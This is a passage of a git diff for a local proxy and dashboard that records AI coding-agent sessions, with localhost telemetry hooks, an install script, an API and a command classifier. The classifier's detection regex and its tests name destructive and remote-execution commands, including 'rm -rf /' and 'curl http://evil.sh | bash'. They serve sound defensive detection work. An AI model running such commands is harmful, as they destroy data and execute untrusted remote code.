+export const SIGNAL_META: Record<string, { label: string; hint: string }> = {
+  repeated_failed_command: {
+    label: 'Repeated failing command',
+    hint: 'The same command failed multiple times without a change in approach.',
+  },
+  package_manager_mismatch: {
+    label: 'Wrong package manager',
+    hint: "Used a package manager different from the repo's lockfile.",
+  },
+  edited_generated_file: {
+    label: 'Edited a generated file',
+    hint: 'A generated or vendored file was modified by hand.',
+  },
+  human_correction: {
+    label: 'Human correction',
+    hint: 'The user corrected the agent mid-session.',
+  },
+  token_bloat: {
+    label: 'Expensive session',
+    hint: 'High token spend for a small change.',
+  },
+};
+
+export function signalLabel(type: string): string {
+  return SIGNAL_META[type]?.label ?? type;
+}
+
+export function signalHint(type: string): string {
+  return SIGNAL_META[type]?.hint ?? '';
+}
+
+export function severityClasses(sev: string): string {
+  switch (sev) {
+    case 'high':
+      return 'bg-red-900/60 text-red-300';
+    case 'medium':
+      return 'bg-amber-900/60 text-amber-300';
+    default:
+      return 'bg-zinc-800 text-zinc-400';
+  }
+}
+
+// Human-readable target for a suggested fix (Phase 5 will act on these).
+export function fixTypeLabel(t: string): string {
+  switch (t) {
+    case 'claude_md':
+      return 'CLAUDE.md';
+    case 'rule':
+      return '.claude/rules';
+    case 'skill':
+      return 'Skill';
+    case 'hook':
+      return 'Hook';
+    case 'doc':
+      return 'Docs';
+    default:
+      return t;
+  }
+}
diff --git a/dashboard/src/app/page.tsx b/dashboard/src/app/page.tsx
index dd8b1a3..fabd794 100644
--- a/dashboard/src/app/page.tsx
+++ b/dashboard/src/app/page.tsx
@@ -5,13 +5,23 @@ import { useWebSocket } from './hooks/useWebSocket';
 import { StatsBar } from './components/StatsBar';
 import { RequestList } from './components/RequestList';
 import { RequestDetail } from './components/RequestDetail';
+import { SessionList } from './components/SessionList';
+import { SessionDetail } from './components/SessionDetail';
+import { SignalsView } from './components/SignalsView';
+
+type View = 'sessions' | 'requests' | 'signals';
 
 export default function Dashboard() {
-  const { requests, connected, clearRequests } = useWebSocket();
-  const [selectedId, setSelectedId] = useState<string | null>(null);
+  const { requests, sessions, connected, clearRequests } = useWebSocket();
+  const [view, setView] = useState<View>('sessions');
+  const [selectedRequestId, setSelectedRequestId] = useState<string | null>(null);
+  const [selectedSessionId, setSelectedSessionId] = useState<string | null>(null);
 
-  const selectedRequest = selectedId
-    ? requests.find(r => r.id === selectedId) || null
+  const selectedRequest = selectedRequestId
+    ? requests.find(r => r.id === selectedRequestId) || null
+    : null;
+  const selectedSession = selectedSessionId
+    ? sessions.find(s => s.id === selectedSessionId) || null
     : null;
 
   return (
@@ -19,15 +29,38 @@ export default function Dashboard() {
       {/* Header */}
       <header className="flex items-center justify-between px-4 py-3 bg-zinc-900 border-b border-zinc-800">
         <div className="flex items-center gap-3">
-          <h1 className="text-lg font-semibold">Damascus</h1>
-          <span className="text-sm text-zinc-500">Claude Code Proxy</span>
+          <h1 className="text-lg font-semibold">Claude Code Proxy</h1>
+          <span className="text-sm text-zinc-500">Flight Recorder</span>
+        </div>
+
+        <div className="flex items-center gap-3">
+          {/* View toggle */}
+          <div className="flex rounded-md overflow-hidden border border-zinc-700">
+            {(['sessions', 'requests', 'signals'] as View[]).map((v) => (
+              <button
+                key={v}
+                onClick={() => setView(v)}
+                className={`px-3 py-1.5 text-sm capitalize transition-colors ${
+                  view === v ? 'bg-zinc-700 text-zinc-100' : 'bg-zinc-900 text-zinc-400 hover:text-zinc-200'
+                }`}
+              >
+                {v}
+                {v === 'sessions' && sessions.length > 0 && (
+                  <span className="ml-1.5 text-xs text-zinc-500">{sessions.length}</span>
+                )}
+              </button>
+            ))}
+          </div>
+
+          {view === 'requests' && (
+            <button
+              onClick={clearRequests}
+              className="px-3 py-1.5 text-sm bg-zinc-800 hover:bg-zinc-700 rounded transition-colors"
+            >
+              Clear
+            </button>
+          )}
         </div>
-        <button
-          onClick={clearRequests}
-          className="px-3 py-1.5 text-sm bg-zinc-800 hover:bg-zinc-700 rounded transition-colors"
-        >
-          Clear
-        </button>
       </header>
 
       {/* Stats Bar */}
@@ -35,19 +68,38 @@ export default function Dashboard() {
 
       {/* Main Content */}
       <div className="flex-1 flex overflow-hidden">
-        {/* Request List */}
-        <div className="w-1/3 border-r border-zinc-800 overflow-hidden">
-          <RequestList
-            requests={requests}
-            selectedId={selectedId}
-            onSelect={setSelectedId}
+        {view === 'signals' ? (
+          <SignalsView
+            sessions={sessions}
+            onSelectSession={(id) => { setSelectedSessionId(id); setView('sessions'); }}
           />
-        </div>
-
-        {/* Request Detail */}
-        <div className="flex-1 overflow-hidden">
-          <RequestDetail request={selectedRequest} />
-        </div>
+        ) : view === 'sessions' ? (
+          <>
+            <div className="w-1/3 border-r border-zinc-800 overflow-hidden">
+              <SessionList
+                sessions={sessions}
+                selectedId={selectedSessionId}
+                onSelect={setSelectedSessionId}
+              />
+            </div>
+            <div className="flex-1 overflow-hidden">
+              <SessionDetail session={selectedSession} requests={requests} />
+            </div>
+          </>
+        ) : (
+          <>
+            <div className="w-1/3 border-r border-zinc-800 overflow-hidden">
+              <RequestList
+                requests={requests}
+                selectedId={selectedRequestId}
+                onSelect={setSelectedRequestId}
+              />
+            </div>
+            <div className="flex-1 overflow-hidden">
+              <RequestDetail request={selectedRequest} />
+            </div>
+          </>
+        )}
       </div>
     </main>
   );
diff --git a/dashboard/src/app/types.ts b/dashboard/src/app/types.ts
index 6ddcf85..9a683f7 100644
--- a/dashboard/src/app/types.ts
+++ b/dashboard/src/app/types.ts
@@ -7,6 +7,7 @@ export interface SSEEvent {
 
 export interface RequestRecord {
   id: string;
+  sessionId?: string;
   timestamp: string;
   method: string;
   path: string;
@@ -21,13 +22,102 @@ export interface RequestRecord {
   inputTokens: number;
   outputTokens: number;
   provider: Provider;
+  redactionHits?: number;
+}
+
+export interface Session {
+  id: string;
+  provider?: Provider;
+  cli?: string;
+  cwd?: string;
+  transcriptPath?: string;
+  gitRemote?: string;
+  gitBranch?: string;
+  model?: string;
+  packageManager?: string;
+  permissionMode?: string;
+  firstPrompt?: string;
+  startedAt: string;
+  endedAt?: string | null;
+  lastActivityAt: string;
+  inputTokens: number;
+  outputTokens: number;
+  requestCount: number;
+  status: string;
+  outcome?: string;
+}
+
+export interface SessionEvent {
+  id: string;
+  sessionId: string;
+  seq: string; // int64 nanoseconds, string-encoded to avoid JS precision loss
+  type: string;
+  hookEvent?: string;
+  toolName?: string;
+  toolUseId?: string;
+  promptId?: string;
+  filePath?: string;
+  summary?: string;
+  command?: string;
+  commandCategory?: string;
+  packageManager?: string;
+  exitCode?: number;
+  success?: boolean;
+  payload?: unknown;
+  timestamp: string;
+}
+
+export interface TimelineEvent {
+  type: string;
+  timestamp: string;
+  summary?: string;
+  toolName?: string;
+  toolUseId?: string;
+  promptId?: string;
+  filePath?: string;
+  command?: string;
+  commandCategory?: string;
+  packageManager?: string;
+  exitCode?: number;
+  success?: boolean;
+  requestId?: string;
+  model?: string;
+}
+
+export interface Signal {
+  type: string;
+  severity: 'low' | 'medium' | 'high';
+  sessionId: string;
+  summary: string;
+  suggestedFixType: string;
+  count?: number;
+  evidence?: string[];
+}
+
+export interface SignalGroup {
+  type: string;
+  severity: 'low' | 'medium' | 'high';
+  count: number;
+  sessions: string[];
+  summary: string;
+  suggestedFixType: string;
 }
 
 export interface WSMessage {
-  type: 'INIT' | 'REQUEST_START' | 'RESPONSE_CHUNK' | 'REQUEST_COMPLETE';
+  type:
+    | 'INIT'
+    | 'REQUEST_START'
+    | 'RESPONSE_CHUNK'
+    | 'REQUEST_COMPLETE'
+    | 'SESSION_START'
+    | 'SESSION_UPDATE'
+    | 'SESSION_EVENT';
   request?: RequestRecord;
   requestId?: string;
   event?: SSEEvent;
   requests?: RequestRecord[];
   data?: RequestRecord;
+  session?: Session;
+  sessions?: Session[];
+  sessionEvent?: SessionEvent;
 }
diff --git a/install/hooks.example.json b/install/hooks.example.json
new file mode 100644
index 0000000..164a26e
--- /dev/null
+++ b/install/hooks.example.json
@@ -0,0 +1,107 @@
+{
+  "hooks": {
+    "SessionStart": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "UserPromptSubmit": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "PreToolUse": [
+      {
+        "matcher": "*",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "PostToolUse": [
+      {
+        "matcher": "*",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "PostToolUseFailure": [
+      {
+        "matcher": "*",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "Notification": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "Stop": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "SubagentStop": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "PreCompact": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ],
+    "SessionEnd": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "curl -s --max-time 2 -X POST http://localhost:8081/events/claude-code -H 'content-type: application/json' --data-binary @- >/dev/null 2>&1 || true"
+          }
+        ]
+      }
+    ]
+  }
+}
diff --git a/install/install-hooks.sh b/install/install-hooks.sh
new file mode 100755
index 0000000..7eab74c
--- /dev/null
+++ b/install/install-hooks.sh
@@ -0,0 +1,75 @@
+#!/usr/bin/env bash
+#
+# install-hooks.sh — register Claude Code lifecycle hooks that stream session events to the
+# local Claude Code Proxy control plane (POST /events/claude-code).
+#
+# The hooks are portable `command` hooks that curl the endpoint with the hook JSON on stdin,
+# so they work on every Claude Code version. They are non-blocking (--max-time + "|| true").
+#
+# Usage:
+#   ./install-hooks.sh            # merge hooks into ~/.claude/settings.json (backs up first)
+#   ./install-hooks.sh --print    # just print the hook JSON, change nothing
+#   CCPROXY_URL=http://localhost:8081/events/claude-code ./install-hooks.sh
+#   SETTINGS=/path/to/settings.json ./install-hooks.sh
+#
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+TEMPLATE="$SCRIPT_DIR/hooks.example.json"
+URL="${CCPROXY_URL:-http://localhost:8081/events/claude-code}"
+SETTINGS="${SETTINGS:-$HOME/.claude/settings.json}"
+# If the proxy is started with CCPROXY_DASHBOARD_TOKEN, the hooks must send it too.
+TOKEN="${CCPROXY_DASHBOARD_TOKEN:-${CCPROXY_TOKEN:-}}"
+
+# Render the template with the configured URL (and bearer token, if set).
+render() {
+  local out
+  out="$(sed "s#http://localhost:8081/events/claude-code#${URL//#/\\#}#g" "$TEMPLATE")"
+  if [[ -n "$TOKEN" ]]; then
+    out="${out//-H 'content-type: application/json'/-H 'content-type: application/json' -H 'authorization: Bearer ${TOKEN}'}"
+  fi
+  printf '%s\n' "$out"
+}
+
+if [[ "${1:-}" == "--print" ]]; then
+  render
+  exit 0
+fi
+
+if ! command -v jq >/dev/null 2>&1; then
+  echo "jq is required to merge into $SETTINGS." >&2
+  echo "Either install jq, or run with --print and merge the 'hooks' block manually." >&2
+  exit 1
+fi
+
+mkdir -p "$(dirname "$SETTINGS")"
+[[ -f "$SETTINGS" ]] || echo '{}' > "$SETTINGS"
+
+# Validate existing settings is JSON before touching it.
+if ! jq empty "$SETTINGS" >/dev/null 2>&1; then
+  echo "Existing $SETTINGS is not valid JSON; aborting." >&2
+  exit 1
+fi
+
+BACKUP="$SETTINGS.bak.$(date +%Y%m%d%H%M%S)"
+cp "$SETTINGS" "$BACKUP"
+
+# Merge per-event hook arrays (concatenate + dedup) so other events and other tools' hooks are
+# preserved, and re-running this script is idempotent.
+render | jq -s '
+  .[0] as $settings | .[1] as $add |
+  $settings + {
+    hooks: (
+      ($settings.hooks // {}) as $cur |
+      reduce ($add.hooks | keys[]) as $k ($cur;
+        .[$k] = (((.[$k] // []) + $add.hooks[$k]) | unique))
+    )
+  }
+' "$SETTINGS" - > "$SETTINGS.tmp"
+
+mv "$SETTINGS.tmp" "$SETTINGS"
+
+echo "Installed Claude Code Proxy hooks into $SETTINGS"
+echo "  endpoint: $URL"
+echo "  backup:   $BACKUP"
+echo "Start a new Claude Code session for the hooks to take effect."
diff --git a/proxy/api.go b/proxy/api.go
new file mode 100644
index 0000000..705811f
--- /dev/null
+++ b/proxy/api.go
@@ -0,0 +1,229 @@
+package main
+
+import (
+	"crypto/subtle"
+	"net/http"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+)
+
+// signalsCacheTTL bounds how often the (O(sessions × events)) aggregate is recomputed.
+const signalsCacheTTL = 5 * time.Second
+
+// withCORS lets the local dashboard (served from a different port, hence a different origin)
+// read control-plane REST responses. Only localhost origins are allowed, and preflight
+// OPTIONS requests are answered directly (before any auth) so they aren't rejected.
+func withCORS(next http.Handler) http.Handler {
+	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		origin := r.Header.Get("Origin")
+		if origin != "" && isLocalOrigin(origin) {
+			w.Header().Set("Access-Control-Allow-Origin", origin)
+			w.Header().Set("Vary", "Origin")
+			w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
+			w.Header().Set("Access-Control-Allow-Headers", "Authorization, Content-Type")
+			w.Header().Set("Access-Control-Max-Age", "600")
+		}
+		if r.Method == http.MethodOptions {
+			w.WriteHeader(http.StatusNoContent)
+			return
+		}
+		next.ServeHTTP(w, r)
+	})
+}
+
+// APIHandler serves the control-plane REST endpoints (sessions + timeline).
+type APIHandler struct {
+	repo  Repository
+	token string
+
+	sigMu    sync.Mutex
+	sigCache []SignalGroup
+	sigAt    time.Time
+}
+
+// NewAPIHandler builds the control-plane API handler.
+func NewAPIHandler(repo Repository, token string) *APIHandler {
+	return &APIHandler{repo: repo, token: token}
+}
+
+// Register wires the API routes onto a mux, applying bearer auth when configured.
+func (h *APIHandler) Register(mux *http.ServeMux) {
+	mux.Handle("/sessions", h.auth(http.HandlerFunc(h.handleSessions)))
+	mux.Handle("/sessions/", h.auth(http.HandlerFunc(h.handleSessionByID)))
+	mux.Handle("/signals", h.auth(http.HandlerFunc(h.handleSignals)))
+}
+
+// auth enforces the optional dashboard bearer token.
+func (h *APIHandler) auth(next http.Handler) http.Handler {
+	return RequireToken(h.token, next.ServeHTTP)
+}
+
+// RequireToken wraps a handler with optional bearer-token auth. When token is empty the
+// handler is unguarded (dev default). Accepts the token via the Authorization header or a
+// `token` query parameter (for browser WebSocket/EventSource use).
+func RequireToken(token string, next http.HandlerFunc) http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		if token == "" || tokenAuthorized(r, token) {
+			next(w, r)
+			return
+		}
+		w.Header().Set("WWW-Authenticate", "Bearer")
+		http.Error(w, "unauthorized", http.StatusUnauthorized)
+	}
+}
+
+func tokenAuthorized(r *http.Request, token string) bool {
+	if constantTimeEqual(r.URL.Query().Get("token"), token) {
+		return true
+	}
+	const prefix = "Bearer "
+	auth := r.Header.Get("Authorization")
+	if !strings.HasPrefix(auth, prefix) {
+		return false
+	}
+	return constantTimeEqual(strings.TrimSpace(auth[len(prefix):]), token)
+}
+
+// constantTimeEqual compares two secrets without leaking length-independent timing.
+func constantTimeEqual(a, b string) bool {
+	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
+}
+
+func (h *APIHandler) handleSessions(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
+	limit := 200
+	if v := r.URL.Query().Get("limit"); v != "" {
+		if n, err := strconv.Atoi(v); err == nil && n > 0 {
+			limit = n
+		}
+	}
+	sessions, err := h.repo.ListSessions(limit)
+	if err != nil {
+		http.Error(w, "internal error", http.StatusInternalServerError)
+		return
+	}
+	if sessions == nil {
+		sessions = []*Session{}
+	}
+	writeJSON(w, http.StatusOK, sessions)
+}
+
+// handleSessionByID serves /sessions/{id} and /sessions/{id}/timeline.
+func (h *APIHandler) handleSessionByID(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
+	rest := strings.TrimPrefix(r.URL.Path, "/sessions/")
+	rest = strings.Trim(rest, "/")
+	if rest == "" {
+		http.NotFound(w, r)
+		return
+	}
+	parts := strings.Split(rest, "/")
+	id := parts[0]
+
+	if len(parts) >= 2 && parts[1] == "timeline" {
+		timeline, err := h.repo.Timeline(id)
+		if err != nil {
+			http.Error(w, "internal error", http.StatusInternalServerError)
+			return
+		}
+		if timeline == nil {
+			timeline = []TimelineEvent{}
+		}
+		writeJSON(w, http.StatusOK, timeline)
+		return
+	}
+
+	if len(parts) >= 2 && parts[1] == "signals" {
+		sigs, err := h.sessionSignals(id)
+		if err != nil {
+			http.Error(w, "internal error", http.StatusInternalServerError)
+			return
+		}
+		writeJSON(w, http.StatusOK, sigs)
+		return
+	}
+
+	sess, err := h.repo.GetSession(id)
+	if err != nil {
+		http.Error(w, "internal error", http.StatusInternalServerError)
+		return
+	}
+	if sess == nil {
+		http.NotFound(w, r)
+		return
+	}
+	writeJSON(w, http.StatusOK, sess)
+}
+
+// sessionSignals runs the deterministic detectors over one session.
+func (h *APIHandler) sessionSignals(id string) ([]Signal, error) {
+	sess, err := h.repo.GetSession(id)
+	if err != nil {
+		return nil, err
+	}
+	if sess == nil {
+		return []Signal{}, nil
+	}
+	events, err := h.repo.ListSessionEvents(id)
+	if err != nil {
+		return nil, err
+	}
+	sigs := DetectSignals(sess, events)
+	if sigs == nil {
+		sigs = []Signal{}
+	}
+	return sigs, nil
+}
+
+// handleSignals aggregates detected signals across recent sessions ("top recurring issues").
+func (h *APIHandler) handleSignals(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
+
+	// Serve a cached aggregate when fresh — the computation is O(sessions × events) and the
+	// dashboard polls it, so recomputing on every request would serialize growing work on the
+	// single DB connection.
+	h.sigMu.Lock()
+	if h.sigCache != nil && time.Since(h.sigAt) < signalsCacheTTL {
+		cached := h.sigCache
+		h.sigMu.Unlock()
+		writeJSON(w, http.StatusOK, cached)
+		return
+	}
+	h.sigMu.Unlock()
+
+	sessions, err := h.repo.ListSessions(200)
+	if err != nil {
+		http.Error(w, "internal error", http.StatusInternalServerError)
+		return
+	}
+	var all []Signal
+	for _, s := range sessions {
+		events, err := h.repo.ListSessionEvents(s.ID)
+		if err != nil {
+			continue
+		}
+		all = append(all, DetectSignals(s, events)...)
+	}
+	groups := AggregateSignals(all, 8)
+	if groups == nil {
+		groups = []SignalGroup{}
+	}
+
+	h.sigMu.Lock()
+	h.sigCache = groups
+	h.sigAt = time.Now()
+	h.sigMu.Unlock()
+
+	writeJSON(w, http.StatusOK, groups)
+}
diff --git a/proxy/commands.go b/proxy/commands.go
new file mode 100644
index 0000000..83378c6
--- /dev/null
+++ b/proxy/commands.go
@@ -0,0 +1,245 @@
+package main
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"regexp"
+	"strings"
+)
+
+// CommandInfo is the structured classification of a shell command.
+type CommandInfo struct {
+	Category       string // package_manager|test|lint|typecheck|build|git|migration|dangerous|unknown
+	PackageManager string // npm|pnpm|yarn|bun  (which manager the command invokes, if any)
+}
+
+var dangerousRe = regexp.MustCompile(`rm\s+-rf|:\(\)\s*\{|\bmkfs\b|\bdd\s+if=|>\s*/dev/sd|chmod\s+(-[a-z]+\s+)?0?777|git\s+push\s+.*--force|--force-with-lease|\bsudo\s+rm\b|curl\s+[^|]*\|\s*(sh|bash)`)
+
+var chainSplitRe = regexp.MustCompile(`&&|\|\||;|\|`)
+
+// ClassifyCommand categorizes a shell command and detects which JS package manager it uses.
+func ClassifyCommand(cmd string) CommandInfo {
+	info := CommandInfo{Category: "unknown"}
+
+	// Dangerous patterns often live in a piped/chained portion that primarySegment strips
+	// (e.g. `curl … | bash`), so scan the full command first.
+	if dangerousRe.MatchString(strings.ToLower(cmd)) {
+		info.Category = "dangerous"
+		return info
+	}
+
+	seg := primarySegment(cmd)
+	lower := strings.ToLower(seg)
+	fields := strings.Fields(lower)
+	if len(fields) == 0 {
+		return info
+	}
+
+	head := fields[0]
+	if pm := jsPackageManager(head); pm != "" {
+		info.PackageManager = pm
+		info.Category = classifyPMSub(fields)
+		return info
+	}
+
+	switch {
+	case head == "git":
+		info.Category = "git"
+	case isTestCmd(lower, fields):
+		info.Category = "test"
+	case isTypecheckCmd(lower, fields):
+		info.Category = "typecheck"
+	case isLintCmd(lower, fields):
+		info.Category = "lint"
+	case isMigrationCmd(lower):
+		info.Category = "migration"
+	case isBuildCmd(lower, fields):
+		info.Category = "build"
+	}
+	return info
+}
+
+// primarySegment returns the meaningful command in a (possibly chained) command line: it
+// strips leading env-only segments (cd/export/set/source), unwraps command prefixes
+// (env/sudo/nice/time/…), and drops leading VAR=val assignments so the real command head is
+// used for classification. Example: `NODE_ENV=production npm run build` -> `npm run build`.
+func primarySegment(cmd string) string {
+	for _, p := range chainSplitRe.Split(cmd, -1) {
+		f := strings.Fields(strings.TrimSpace(p))
+		i, skip := 0, false
+		for i < len(f) {
+			switch f[i] {
+			case "cd", "export", "set", "source":
+				skip = true // pure env/dir op — no runnable command in this segment
+			case "env", "sudo", "nice", "time", "command", "xargs":
+				i++ // wrapper — the real command follows
+				continue
+			}
+			if skip {
+				break
+			}
+			if strings.Contains(f[i], "=") { // VAR=val assignment
+				i++
+				continue
+			}
+			break
+		}
+		if skip {
+			continue
+		}
+		if i < len(f) {
+			return strings.Join(f[i:], " ")
+		}
+	}
+	return strings.TrimSpace(cmd)
+}
+
+func jsPackageManager(head string) string {
+	switch head {
+	case "npm", "npx":
+		return "npm"
+	case "pnpm", "pnpx":
+		return "pnpm"
+	case "yarn":
+		return "yarn"
+	case "bun", "bunx":
+		return "bun"
+	}
+	return ""
+}
+
+// classifyPMSub refines a package-manager invocation by its subcommand/script.
+func classifyPMSub(fields []string) string {
+	joined := strings.Join(fields, " ")
+	switch {
+	case containsAny(joined, "test", "jest", "vitest", "mocha", "ava"):
+		return "test"
+	case containsAny(joined, "lint", "eslint", "biome"):
+		return "lint"
+	case containsAny(joined, "typecheck", "tsc", "type-check"):
+		return "typecheck"
+	// Match the migration *action* (not just a tool name like "prisma") so that
+	// `pnpm add prisma` stays a package install.
+	case containsAny(joined, "migrate", "db:migrate"):
+		return "migration"
+	case containsAny(joined, "build", "compile", "bundle"):
+		return "build"
+	case len(fields) >= 2 && isInstallSub(fields[1]):
+		return "package_manager"
+	}
+	return "package_manager"
+}
+
+func isInstallSub(sub string) bool {
+	switch sub {
+	case "install", "i", "add", "remove", "rm", "uninstall", "ci", "update", "up", "dedupe", "prune":
+		return true
+	}
+	return false
+}
+
+func isTestCmd(lower string, fields []string) bool {
+	if fields[0] == "go" && len(fields) > 1 && fields[1] == "test" {
+		return true
+	}
+	if fields[0] == "cargo" && len(fields) > 1 && fields[1] == "test" {
+		return true
+	}
+	return containsAny(lower, "pytest", "jest", "vitest", "mocha", "rspec", "phpunit", "go test", "cargo test", "gotestsum")
+}
+
+func isLintCmd(lower string, fields []string) bool {
+	return containsAny(lower, "eslint", "ruff", "flake8", "pylint", "golangci-lint", "rubocop", "biome", "clippy") ||
+		(fields[0] == "go" && len(fields) > 1 && fields[1] == "vet")
+}
+
+func isTypecheckCmd(lower string, fields []string) bool {
+	return containsAny(lower, "tsc", "mypy", "pyright", "type-check", "typecheck")
+}
+
+func isBuildCmd(lower string, fields []string) bool {
+	if fields[0] == "go" && len(fields) > 1 && fields[1] == "build" {
+		return true
+	}
+	return containsAny(lower, "make", "webpack", "vite build", "next build", "cargo build", "tsc --build", "docker build", "gradle", "mvn ")
+}
+
+func isMigrationCmd(lower string) bool {
+	return containsAny(lower, "migrate", "migration", "prisma", "drizzle-kit", "alembic", "db:migrate", "knex")
+}
+
+func containsAny(s string, subs ...string) bool {
+	for _, sub := range subs {
+		if strings.Contains(s, sub) {
+			return true
+		}
+	}
+	return false
+}
+
+// detectRepoPackageManager infers a repo's package manager from lockfiles in cwd.
+func detectRepoPackageManager(cwd string) string {
+	if cwd == "" {
+		return ""
+	}
+	for _, c := range []struct{ file, pm string }{
+		{"pnpm-lock.yaml", "pnpm"},
+		{"yarn.lock", "yarn"},
+		{"bun.lockb", "bun"},
+		{"package-lock.json", "npm"},
+	} {
+		if _, err := os.Stat(filepath.Join(cwd, c.file)); err == nil {
+			return c.pm
+		}
+	}
+	return ""
+}
+
+// extractToolOutcome pulls an exit code and/or success signal from a PostToolUse tool_response,
+// tolerating the several shapes different Claude Code versions/tools emit. Returns nils when the
+// outcome can't be determined (unknown, not assumed-success).
+func extractToolOutcome(toolResponse json.RawMessage) (exit *int, success *bool) {
+	if len(toolResponse) == 0 {
+		return nil, nil
+	}
+	var r struct {
+		ExitCode    *int   `json:"exit_code"`
+		ExitCodeC   *int   `json:"exitCode"`
+		ReturnCode  *int   `json:"returncode"`
+		Code        *int   `json:"code"`
+		Success     *bool  `json:"success"`
+		IsError     *bool  `json:"is_error"`
+		Interrupted *bool  `json:"interrupted"` // Claude Code Bash result (timeout/interrupt)
+		Error       string `json:"error"`
+	}
+	if json.Unmarshal(toolResponse, &r) != nil {
+		return nil, nil // e.g. a bare string response
+	}
+	for _, c := range []*int{r.ExitCode, r.ExitCodeC, r.ReturnCode, r.Code} {
+		if c != nil {
+			exit = c
+			break
+		}
+	}
+	switch {
+	case r.Success != nil:
+		success = r.Success
+	case r.IsError != nil:
+		v := !*r.IsError
+		success = &v
+	case exit != nil:
+		v := *exit == 0
+		success = &v
+	case r.Error != "":
+		f := false
+		success = &f
+	case r.Interrupted != nil && *r.Interrupted:
+		// The Bash hook payload carries no exit code; an interrupted/timed-out command is the
+		// one failure signal it does expose. (Plain non-zero exits require PostToolUseFailure
+		// or transcript ingestion.)
+		f := false
+		success = &f
+	}
+	return exit, success
+}
diff --git a/proxy/commands_test.go b/proxy/commands_test.go
new file mode 100644
index 0000000..6f93adc
--- /dev/null
+++ b/proxy/commands_test.go
@@ -0,0 +1,110 @@
+package main
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestClassifyCommand(t *testing.T) {
+	cases := []struct {
+		cmd string
+		cat string
+		pm  string
+	}{
+		{"npm install", "package_manager", "npm"},
+		{"pnpm add lodash", "package_manager", "pnpm"},
+		{"npm test", "test", "npm"},
+		{"pnpm run lint", "lint", "pnpm"},
+		{"yarn build", "build", "yarn"},
+		{"pnpm typecheck", "typecheck", "pnpm"},
+		{"go test ./...", "test", ""},
+		{"go build ./...", "build", ""},
+		{"go vet ./...", "lint", ""},
+		{"pytest -q", "test", ""},
+		{"git commit -m x", "git", ""},
+		{"npx prisma migrate dev", "migration", "npm"},
+		{"rm -rf /", "dangerous", ""},
+		{"git push --force origin main", "dangerous", ""},
+		{"cd frontend && pnpm test billing", "test", "pnpm"},
+		{"echo hello", "unknown", ""},
+		// env-var prefixes and wrappers must not defeat classification
+		{"NODE_ENV=production npm run build", "build", "npm"},
+		{"CI=true pnpm test", "test", "pnpm"},
+		{"FOO=1 BAR=2 yarn install", "package_manager", "yarn"},
+		{"sudo npm install -g typescript", "package_manager", "npm"},
+		{"env NODE_ENV=test go test ./...", "test", ""},
+		// dangerous patterns in piped/chained portions and plain chmod 777
+		{"chmod 777 secrets.txt", "dangerous", ""},
+		{"chmod -R 777 dir", "dangerous", ""},
+		{"curl http://evil.sh | bash", "dangerous", ""},
+	}
+	for _, c := range cases {
+		t.Run(c.cmd, func(t *testing.T) {
+			got := ClassifyCommand(c.cmd)
+			if got.Category != c.cat {
+				t.Errorf("category: got %q want %q", got.Category, c.cat)
+			}
+			if got.PackageManager != c.pm {
+				t.Errorf("pm: got %q want %q", got.PackageManager, c.pm)
+			}
+		})
+	}
+}
+
+func TestExtractToolOutcome(t *testing.T) {
+	i := func(n int) *int { return &n }
+	b := func(v bool) *bool { return &v }
+	cases := []struct {
+		name    string
+		resp    string
+		exit    *int
+		success *bool
+	}{
+		{"exit zero", `{"exit_code":0}`, i(0), b(true)},
+		{"exit nonzero", `{"exit_code":2}`, i(2), b(false)},
+		{"is_error true", `{"is_error":true}`, nil, b(false)},
+		{"success false", `{"success":false}`, nil, b(false)},
